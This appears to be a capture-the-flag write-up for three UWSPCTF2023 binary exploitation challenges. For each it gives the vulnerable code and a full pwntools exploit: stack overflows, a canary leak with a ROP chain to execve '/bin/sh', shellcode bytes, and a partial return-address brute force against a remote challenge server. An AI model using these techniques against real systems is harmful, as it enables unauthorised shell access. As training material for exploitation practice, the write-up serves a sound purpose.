0%

UWSPCTF2023

exploit1

1
2
3
4
5
6
exploit1.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a320c8445c424a78f554fa7c6ab33175e11e30e, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出:

1
2
printf("Enter new username: ");
__isoc99_scanf("%s", name);

有后门:

1
2
3
4
5
else if ( key == 1337 )
{
puts("Starting debug shell");
execl("/bin/bash", "/bin/bash", 0LL);
}

入侵思路

利用栈溢出简单覆盖 key 值为 1337 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit1.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20232')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x14A7)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = "a"*0x18+p32(0)+p32(1337)
sla("Choice: ","1")
sla("Enter new username: ",payload)
sla("Choice: ","3")

p.interactive()

exploit2

1
2
3
4
5
6
7
8
exploit2.bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2225439fe6f084b9baea4c6a07e31d32109da59d, for GNU/Linux 3.2.0, not stripped
➜ pwn checksec exploit2.bin
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/exploit2.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,Canary,NX

漏洞分析

栈溢出:

1
2
puts("\nWaiting for heart beat request...");
_isoc99_scanf((unsigned int)" %d:%s", (unsigned int)&num, (unsigned int)buf, v3, v4, v5, v7);

入侵思路

先利用 write 泄露 canary,然后构造 sys_read 写入 /bin/sh,接着构造 sys_execve

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit2.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20233')

def debug():
gdb.attach(p,"b *0x401EF9\n")
#gdb.attach(p,"b *$rebase(0x14A7)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = "1400:"+"a"*1024+"b"*8
sla("request...",payload)
ru("bbbbbbbb")
canary = u64(p.recv(8))
success("canary >> "+hex(canary))

bss_addr = 0x4E1240+0x200

pop_rax_ret = 0x0000000000451fd7
pop_rdi_ret = 0x00000000004018e2
pop_rsi_ret = 0x000000000040f30e
pop_rdx_ret = 0x00000000004017ef
syscall_ret = 0x000000000041f5c4

rop_read = ""
rop_read += p64(pop_rax_ret)+p64(0)
rop_read += p64(pop_rdi_ret)+p64(0)
rop_read += p64(pop_rsi_ret)+p64(bss_addr)
rop_read += p64(pop_rdx_ret)+p64(0x60)
rop_read += p64(syscall_ret)

rop_execve = ""
rop_execve += p64(pop_rax_ret)+p64(59)
rop_execve += p64(pop_rdi_ret)+p64(bss_addr)
rop_execve += p64(pop_rsi_ret)+p64(0)
rop_execve += p64(pop_rdx_ret)+p64(0)
rop_execve += p64(syscall_ret)

payload = "0:"+"a"*1032+p64(canary)+"b"*0x8+rop_read+rop_execve
sla("request...",payload)
sleep(0.2)
p.send("/bin/sh\x00")

p.interactive()

exploit3

1
2
3
4
5
6
7
exploit3.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ee04914473e2edcc2f0cd1fcf5b8fab1590acaf2, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,PIE

漏洞分析

栈溢出:

1
2
3
printf("Hello! What's your name?: ");
get_string(buf);
return printf("Nice to meet you %s!\n", buf);

有后门:

1
2
3
4
5
int win()
{
alarm(0);
return execl("/bin/bash", "/bin/bash", 0LL);
}

入侵思路

先泄露程序基地址,然后覆盖返回地址末尾2字节为 main(1/16 的爆破概率)

再次执行时覆盖返回地址为后门函数即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit3.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
"""
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')
"""

def debug():
#gdb.attach(p,"b *0x401EF9\n")
gdb.attach(p,"b *$rebase(0x13A0)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
def pwn():
payload = "a"*0x18+p16(0x43ad)#p16(0x53ad)
sla("name?:",payload)

ru("a"*0x18)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
pro_base = leak_addr - 0x13ad
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

ret = pro_base + 0x000000000000101a
main_addr = pro_base + 0x13ad
magic_addr = pro_base + 0x1369
back_addr = pro_base + 0x13CB

shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = "a"*0x18+p64(back_addr)
sla("name?:",payload)
p.interactive()

while(True):
try:
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')
pwn()
sleep(0.3)
except Exception as e:
continue